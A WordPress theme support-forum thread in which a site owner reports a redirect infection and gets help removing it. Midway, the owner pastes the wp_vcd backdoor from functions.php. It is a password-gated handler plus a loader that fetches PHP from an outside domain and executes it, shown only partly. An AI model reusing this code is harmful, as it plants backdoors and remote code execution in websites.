Home › Forums › Basel support forum › Virus on my site..
Virus on my site..
- This topic has 16 replies, 3 voices, and was last updated 7 years, 5 months ago by Eric Watson.
-
AuthorPosts
-
August 19, 2017 at 5:04 pm #17825
yvo010ParticipantHi,
Sorry for the asking, I know it is not your job to help me with this, but I hope you can help me.I have installed a plugin yesterday from internet. And now there is a javascript virus on my site. I know how I can find the virus with code inspector on chrome:
http://imgur.com/a/7cAma
But I don’t know how I can remove it..Please help.
Thanks!!August 19, 2017 at 7:26 pm #17830
yvo010ParticipantCan you Please help?
August 20, 2017 at 8:10 am #17838
Artem TemosKeymasterHello,
Please, provide your FTP and WordPress admin access so we can check it.
Kind Regards
XTemos StudioAugust 20, 2017 at 10:09 am #17842
yvo010ParticipantHello,
Thanks for help, realy thanks.August 20, 2017 at 12:49 pm #17843
Eric WatsonParticipantHello,
Could you please describe in detail how to find the virus in the console. Please provide a link to the page with the virus.
Kind Regards
XTemos StudioAugust 20, 2017 at 1:01 pm #17847
yvo010ParticipantOk here it is:
August 20, 2017 at 3:44 pm #17853
Eric WatsonParticipantSorry, but for us, everything is working and when we click on the menu there is no redirect.
See the screencast
https://gyazo.com/65ca87b83908c67ce1ab56a5c4e2d83bKind Regards
XTemos StudioAugust 20, 2017 at 3:51 pm #17855
yvo010ParticipantHi,
Also when you not logged in on WordPress?
Try to use the website in a incognito window, the virus only works when your not logged in as admin..I know that this: http://imgur.com/a/7cAma is the virus script..
August 20, 2017 at 5:08 pm #17858
yvo010ParticipantHey,
I think i fixed it already. But i dont know if it is the right way.
Look, this was the virus:
(see hightlighted) http://imgur.com/a/ZSLat
And now i did this with the link:(I did add wrong info to the link)
http://imgur.com/a/0z0MkDo you think it is good? or can I also remove it from functions.php? without doing something wrong?
August 20, 2017 at 5:53 pm #17859
Eric WatsonParticipantYes, you can safely remove this code because it does not apply to our theme.
We are glad to hear that you can find the solution to the problem also we can recommend you to install this plugin to avoid similar problems.https://wordpress.org/plugins/gotmls/
Kind Regards
XTemos StudioAugust 20, 2017 at 7:17 pm #17860
yvo010ParticipantHi Thank you very much.
One more thing. Can you tell me what I need to delete exactly? Because im scared that I delete to much. :pthis is the code:
<?phpif (isset($_REQUEST[‘action’]) && isset($_REQUEST[‘password’]) && ($_REQUEST[‘password’] == ’12ac43c3e4d1377f2d2f98ec7b1f6c07′))
{
$div_code_name=”wp_vcd”;
switch ($_REQUEST[‘action’])
{case ‘change_domain’;
if (isset($_REQUEST[‘newdomain’]))
{if (!empty($_REQUEST[‘newdomain’]))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all(‘/\$tmpcontent = @file_get_contents\(“http:\/\/(.*)\/code4\.php/i’,$file,$matcholddomain))
{$file = preg_replace(‘/’.$matcholddomain[1][0].’/i’,$_REQUEST[‘newdomain’], $file);
@file_put_contents(__FILE__, $file);
print “true”;
}}
}
}
break;default: print “ERROR_WP_ACTION WP_V_CD WP_CD”;
}die(“”);
}if ( ! function_exists( ‘wp_temp_setup’ ) ) {
$path=$_SERVER[‘HTTP_HOST’].$_SERVER[REQUEST_URI];if($tmpcontent = @file_get_contents(“http://www.aotson.com/code499.php?i=”.$path))
{function wp_temp_setup($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), “wp_temp_setup”);
$handle = fopen($tmpfname, “w+”);
fwrite($handle, “<?php\n” . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}August 20, 2017 at 8:02 pm #17863
yvo010ParticipantAnd one more thing,
How can I change this color?
http://imgur.com/a/JZm1EThanks
August 21, 2017 at 7:33 am #17881
Eric WatsonParticipant1) Yes, you can delete all this code because it does not relate to our theme.
2) You can change the color in Dashboard -> Theme Settings -> Page heading -> Pages heading background
See the screenshot: https://prnt.sc/gb2cd9Kind Regards
XTemos StudioAugust 21, 2017 at 8:32 am #17883
yvo010ParticipantHi,
Thanks for the great support.
Can you please copy+paste the code i can remove? Im scared that i remove to much code..
I dont understand PHP code.Thanks!
August 21, 2017 at 9:49 am #17884
Eric WatsonParticipantWe have removed the code on your site, check how it works now.
Kind Regards
XTemos StudioAugust 21, 2017 at 11:35 am #17888
yvo010ParticipantThank you Very much for helping.!
I will give a good rate on themeforestHave nice day
YvoAugust 21, 2017 at 12:40 pm #17889
Eric WatsonParticipantYou are welcome!
Contact us if you have any additional questions or concerns.Kind Regards
XTemos Studio -
AuthorPosts
- You must be logged in to create new topics. Login / Register